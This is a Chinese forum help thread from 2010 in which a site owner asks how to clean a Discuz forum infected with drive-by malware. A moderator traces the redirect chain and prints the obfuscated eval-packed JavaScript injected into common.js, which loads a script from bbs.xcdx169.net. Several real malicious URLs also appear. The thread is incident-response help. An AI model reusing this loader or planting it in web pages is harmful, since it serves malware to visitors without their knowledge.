12   1  /  2  页   跳转页

网站被挂马求助

收藏
名天是命运
头像
初生襁褓狮
  • 帖子:9
  • 注册: 2010-01-26
  • 来自:
发表于： 2010-01-26 13:21 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

网站被挂马求助

网页：http://www.dmsy520.com/bbs/viewthread.php?tid=3491
检测时间：2010-1-20 16:34:030
木马网址：
http://bbs.xcdx169.net/uc/data/logs
shellcode溢出攻击
解决方案



网页：http://www.dmsy520.com/bbs/viewthread.php?tid=3421
检测时间：2010-1-20 10:27:15
木马网址：
http://bbs.xcdx169.net/uc/data/logs
shellcode溢出攻击
解决方案



网页：http://www.dmsy520.com/bbs/redirect.php?fid=39&;tid=2071&got
检测时间：2010-1-18 10:31:24
木马网址：
http://bbs.xcdx169.net/diss/dcms/ca
shellcode溢出攻击
解决方案



网页：http://www.dmsy520.com/bbs/viewthread.php?tid=1124
检测时间：2010-1-18 9:39:15
木马网址：
http://bbs.xcdx169.net/diss/dcms/ca
shellcode溢出攻击
解决方案



网页：http://www.dmsy520.com/bbs/viewthread.php?tid=3421
检测时间：2010-1-19 10:26:15
木马网址：
http://bbs.xcdx169.net/uc/data/logs
shellcode溢出攻击
解决方案
这个要怎么解决，求助哪= =

用户系统信息：Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
最后编辑networkedition 最后编辑于 2010-01-26 13:25:58
分享到：
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2010-01-26 13:25 | 短消息 资料
字号： 小 中 大 2楼

回复：网站被挂马求助

指定的主题不存在或已被删除或正在被审核，请返回。

[ 点击这里返回上一页 ]
gototop
 
名天是命运
头像
初生襁褓狮
  • 帖子:9
  • 注册: 2010-01-26
  • 来自:
发表于： 2010-01-26 17:51 | 只看楼主 短消息 资料
字号： 小 中 大 3楼

回复：网站被挂马求助

网页：http://www.dmsy520.com/bbs/
检测时间：2010-1-18 0:20:530
木马网址：

http://bbs.xcdx169.net/diss/dcms/ca
首页也有一个，我不可能把首页删除掉的
最后编辑networkedition 最后编辑于 2010-01-27 08:58:50
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2010-01-27 09:00 | 短消息 资料
字号： 小 中 大 4楼

回复 3F 名天是命运 的帖子

论坛是被挂马了，你为啥删除被挂页面呢，删除了咋分析呢
Log is generated by FreShow.
[wide]http://www.dmsy520.com/bbs/
    [script]http://www.dmsy520.com/bbs/forumdata/cache/common.js?cfT
        [object]http://bbs.xcdx169.net/include/log.js?IXYBUB
            [frame]http://game.hsw.cn/plus/task/log.htm?127
                [frame]http://game.hsw.cn/plus/task/yt.htm
                    [script]http://game.hsw.cn/plus/task/nop.jpg
                    [script]http://game.hsw.cn/plus/task/ml.jpg
                    [script]http://game.hsw.cn/plus/task/rl.jpg
                        [object]http://game.hsw.cn/plus/task/log.css
                    [script]http://game.hsw.cn/plus/task/kl.jpg
                [frame]http://game.hsw.cn/plus/task/ytu.htm
                    [frame]http://game.hsw.cn/plus/task/of.htm
                        [script]http://game.hsw.cn/plus/task/rl.jpg
                            [object]http://game.hsw.cn/plus/task/log.css
                        [script]http://game.hsw.cn/plus/task/nop.jpg
                        [script]http://game.hsw.cn/plus/task/fq.jpg
    [script]http://www.dmsy520.com/bbs/plugins/ducexhome/js/xhomebox.js?cfT
    [script]http://www.dmsy520.com/bbs/plugins/ducexhome/js/dicta.js?cfT
    [script]http://www.dmsy520.com/bbs/plugins/ducexhome/js/flash.js
    [script]http://s175.cnzz.com/stat.php?id=1802571&web_id=1802571
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2010-01-27 09:01 | 短消息 资料
字号： 小 中 大 5楼

回复: 网站被挂马求助

被挂链接地址：http://www.dmsy520.com/bbs/forumdata/cache/common.js?cfT
所挂内容：

[复制到剪贴板]
CODE:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4.5(\'<0 3=2 1="6://d.7.c/b/a.8?9"></0>\')',14,14,'script|src|javascript|language|document|writeln|http|xcdx169|js|IXYBUB|log|include|net|bbs'.split('|'),0,{}));}
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2010-01-27 09:03 | 短消息 资料
字号： 小 中 大 6楼

回复：网站被挂马求助

Discuz论坛建议尽快更新补丁，前段时间Discuz论坛被爆有0day漏洞，官方已公布补丁。
gototop
 
名天是命运
头像
初生襁褓狮
  • 帖子:9
  • 注册: 2010-01-26
  • 来自:
发表于： 2010-01-27 12:49 | 只看楼主 短消息 资料
字号： 小 中 大 7楼

回复：网站被挂马求助

因为本人对处理挂马不太了解，以为把贴子删除了挂马就没了，现在火狐都报恶意网站了，不知道怎么弄了= =
最后编辑名天是命运 最后编辑于 2010-01-27 12:52:22
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2010-01-27 13:03 | 短消息 资料
字号： 小 中 大 8楼

回复 7F 名天是命运 的帖子

5楼不都给你列出来了嘛，按照那个去找，找到后把恶意代码删除。
gototop
 
名天是命运
头像
初生襁褓狮
  • 帖子:9
  • 注册: 2010-01-26
  • 来自:
发表于： 2010-01-28 13:03 | 只看楼主 短消息 资料
字号： 小 中 大 9楼

回复：网站被挂马求助

http://www.dmsy520.com/bbs/thread-3795-1-1.html这个页面瑞星提示挂马了，那个代码删除掉没用还是有= =
最后编辑networkedition 最后编辑于 2010-01-28 13:18:58
gototop
 
networkedition
头像
社区嘉宾
  • 帖子:36698
  • 注册: 2008-02-28
  • 来自:
论坛8周年活动礼物09欢乐圣诞10温馨圣诞
发表于： 2010-01-28 13:20 | 短消息 资料
字号： 小 中 大 10楼

回复 9F 名天是命运 的帖子

瑞星病毒库版本：22.32.03.03 未做任何拦截。
gototop
 
<<上一主题|下一主题>>
12   1  /  2  页   跳转页
页面顶部
Powered by Discuz!NT